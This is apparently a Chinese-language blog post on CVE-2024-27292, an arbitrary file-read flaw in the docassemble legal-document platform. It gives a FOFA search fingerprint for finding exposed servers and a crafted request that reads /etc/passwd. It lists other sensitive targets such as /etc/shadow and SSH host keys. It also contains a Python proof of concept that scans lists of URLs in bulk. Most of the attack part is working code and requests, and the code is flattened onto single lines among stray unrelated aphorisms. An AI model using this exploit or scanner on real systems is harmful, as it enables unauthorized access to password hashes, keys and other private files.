聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
docassemble 是一款強大的開源工具,它讓自動化生成和定制復雜法律文檔變得易如反掌。通過這個平臺,用戶可以構建交互式訪談,收集必要的信息,并自動生成符合需求的文件。無論你是律師、行政助理還是研究人員,docassemble 都能極大地提高你的工作效率。其接口interview
存在任意文件讀取漏洞,攻擊者可通過該漏洞獲取系統敏感文件。
漏洞復現
1)信息收集
fofa:icon_hash="-575790689"
失敗是成功之母,不失敗怎么能成功?
2)構造數據包
GET /interview?i=/etc/passwd HTTP/1.1
Host:ip
回顯內容包含passwd
文件,驗證成功,存在任意文件讀取漏洞。
在Linux系統中,有許多文件被認為是敏感的,因為它們包含了系統配置、用戶數據和其他重要信息。以下是一些常見的Linux系統中的敏感文件:
/etc/passwd
- 存儲用戶賬戶信息。/etc/shadow
- 存儲加密的用戶密碼。/etc/group
- 存儲用戶組信息。/etc/gshadow
- 存儲加密的用戶組密碼。/etc/ssh/ssh_host_*_key
- SSH主機密鑰文件。
切記!!不要違法!!!
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入requests庫,用于發送HTTP請求
import requests
# 導入argparse庫,用于解析命令行參數
import argparse
# 導入time庫,雖然在這段代碼中未使用,但可能用于其他目的,比如等待或延遲
import time
# 從urllib3庫導入InsecureRequestWarning,用于忽略SSL警告
from urllib3.exceptions import InsecureRequestWarning# 定義打印顏色常量
RED = '\033[91m' # 紅色
RESET = '\033[0m' # 重置顏色# 忽略不安全請求的警告,避免在請求HTTPS時提示不安全警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定義檢查漏洞的函數
def check_vulnerability(url):try:# 去除URL末尾的斜杠,并構造完整的攻擊URLattack_url = url.rstrip('/') + "/interview?i=/etc/passwd"# 發送GET請求到攻擊URL,不驗證SSL證書,超時時間設置為10秒response = requests.get(attack_url, verify=False, timeout=10)# 檢查HTTP響應狀態碼和響應體中的關鍵字,判斷是否存在漏洞if response.status_code == 200 and 'root' in response.text:print(f"{RED}URL [{url}] 可能存在CVE-2024-27292 任意文件讀取漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")# 捕獲請求超時異常,提示可能存在漏洞except requests.exceptions.Timeout:print(f"URL [{url}] 請求超時,可能存在漏洞")# 捕獲其他請求異常,打印錯誤信息except requests.RequestException as e:print(f"URL [{url}] 請求失敗: {e}")# 定義主函數,用于解析命令行參數并調用檢查函數
def main():# 創建ArgumentParser對象,用于解析命令行參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在CVE-2024-27292 任意文件讀取漏洞')# 添加命令行參數,用于指定目標URLparser.add_argument('-u', '--url', help='指定目標地址')# 添加命令行參數,用于指定包含目標地址的文本文件parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果指定了單個URL,則檢查該URL是否存在漏洞if args.url:# 如果URL未以http://或https://開頭,則添加http://前綴if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果指定了文件,則逐行讀取文件中的URL并檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL未以http://或https://開頭,則添加http://前綴if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 程序入口點
if __name__ == '__main__':main()
運行過程:
裝作擁有某樣品質,實際上就等于承認了自己并沒有這樣品質。